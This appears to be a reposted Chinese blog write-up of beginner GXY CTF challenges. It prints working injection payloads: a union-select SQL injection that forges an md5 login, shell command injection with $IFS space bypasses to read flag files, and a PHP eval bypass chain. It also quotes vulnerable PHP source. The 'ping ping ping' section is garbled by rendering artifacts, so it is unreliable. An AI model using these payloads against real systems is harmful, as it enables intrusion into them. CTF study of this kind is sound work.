本文主要是介绍GXY-CTF,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
title: GXY_CTF
date: 2019-12-25 21:55:30
tags: [“CTF”]
categories: [“技术”]
这次是北京工业大学的比赛,题目很基础,自己也比较菜😂
佛系青年
说下感悟,这道题的txt文本是损坏的,所以正常的解法是用16进制软件打开,然后吧txt里的内容另存为。
但是以前一次偶然的机会,我在电脑里安装了一种解压软件–解压专家,用其打开,可以恢复破损的文件,所以直接就能打开,hhhhhhh~
然后看到一段佛文,一开始不知道是啥,百度得知,这是个加密的方式,在线解密就好
checkln
首先打开文件,得到一堆base64(dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==)
解密后得到一大串乱码(v)L_F0}@H0F49023@FE0#@EN)
再转ROT47即可得到flag:GXY{Y0u_kNow_much_about_Rot}
BabySqli v1.0
这题进去之后会给你个提示是用hash加密的,最近在学密码学,所以最先考虑的是md5,而且这题考查的是sql注入,所以想到了以前的一道题
<?php
if($_POST["user"] && $_POST["pass"]) {$mysqli = new mysqli("localhost", "root", "2wsx3edctf", "challenges"); $user = $_POST["user"];$pass = md5($_POST["pass"]);$sql = "select pwd from interest where uname='$user'";$result = $mysqli->query($sql); $row = $result->fetch_assoc();//echo $row["pwd"];if (($row["pwd"]) && (!strcasecmp($pass, $row["pwd"]))) {echo "<p>Logged in! Key:flag{xiaohdaldahdkajsdhja} </p>";}else {echo("<p>Log in failure!</p>");}$result->free(); $mysqli->close();
}
else{echo "nonono";
}
?>
大致的意思就是我们我们传入的会通过md5加密,和数据库的md5比较,如果成功就得到flag.但我们并不知道数据库中的md5所以只能我们自己构造值传到php
构造如下语句
name=ad'union select '1','admin','3f898d258f71099c3164a570cc27bd8d'&pw=disshu
首先找到个注入点,这个不多说。但是我们怎么知道回显的列数是三个呢,这里是用sqlmap实现的,得到3列
ping ping ping
首先我们输入127.0.0.1;ls会发现里面的有flag.php index.php
下面介绍两种方法,首先用$IFS 9 的 方 式 过 滤 空 格 , 这 个 过 滤 方 法 百 试 不 厌 , ; c a t 9的方式过滤空格,这个过滤方法百试不厌,;cat 9的方式过滤空格,这个过滤方法百试不厌,;catIFS 9 i n d e x . p h p ! [ i n d e x . p h p ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / 20191226092305995. p n g ? x − o s s − p r o c e s s = i m a g e / w a t e r m a r k , t y p e Z m F u Z 3 p o Z W 5 n a G V p d G k , s h a d o w 1 0 , t e x t a H R 0 c H M 6 L y 9 i b G 9 n L m N z Z G 4 u b m V 0 L 3 F x X z Q z M j M 1 N D A 2 , s i z e 1 6 , c o l o r F F F F F F , t 7 0 ) 发 现 正 则 匹 配 用 的 ( . ) 所 以 我 们 可 以 对 f l a g 绕 过 ‘ ; b = g ; c a t 9index.php ![index.php](https://img-blog.csdnimg.cn/20191226092305995.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjM1NDA2,size_16,color_FFFFFF,t_70) 发现正则匹配用的(.)所以我们可以对flag绕过 `;b=g;cat 9index.php![index.php](https://img−blog.csdnimg.cn/20191226092305995.png?x−oss−process=image/watermark,typeZmFuZ3poZW5naGVpdGk,shadow10,textaHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjM1NDA2,size16,colorFFFFFF,t70)发现正则匹配用的(.)所以我们可以对flag绕过‘;b=g;catIFS 9 f l a 9fla 9flab.php`
第二种是v&n的师傅的思路,直接
cat$IFS$9`ls`
禁止套娃
这道题跟之前有一个比赛很像,好像是字节跳动的题,但是这道题需要有百度域名所以就没做。
首先拿到题目我们扫一遍目录.
发现有git源码泄露,把它downloads下来
"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) { // echo $_GET['exp']; eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
首先这道题过掉了所有的协议,这很给力。
重点看这个正则匹配(?R)说明我们只能用小括号匹配
我们重点首先访问当前目录
print_r(scandir('.'));
但是这个.我们被匹配掉了
所以只能构造函数了
?exp=print_r(scandir(current(localeconv())));
发现得到其中的文件,php有两个函数
array_flip,php官方文档是这么解释的
array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
重点是下一个函数
array_rand()函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
所以我们就可以构造如下payloads
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
这题看运气,随机到flag…
这篇关于GXY-CTF的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!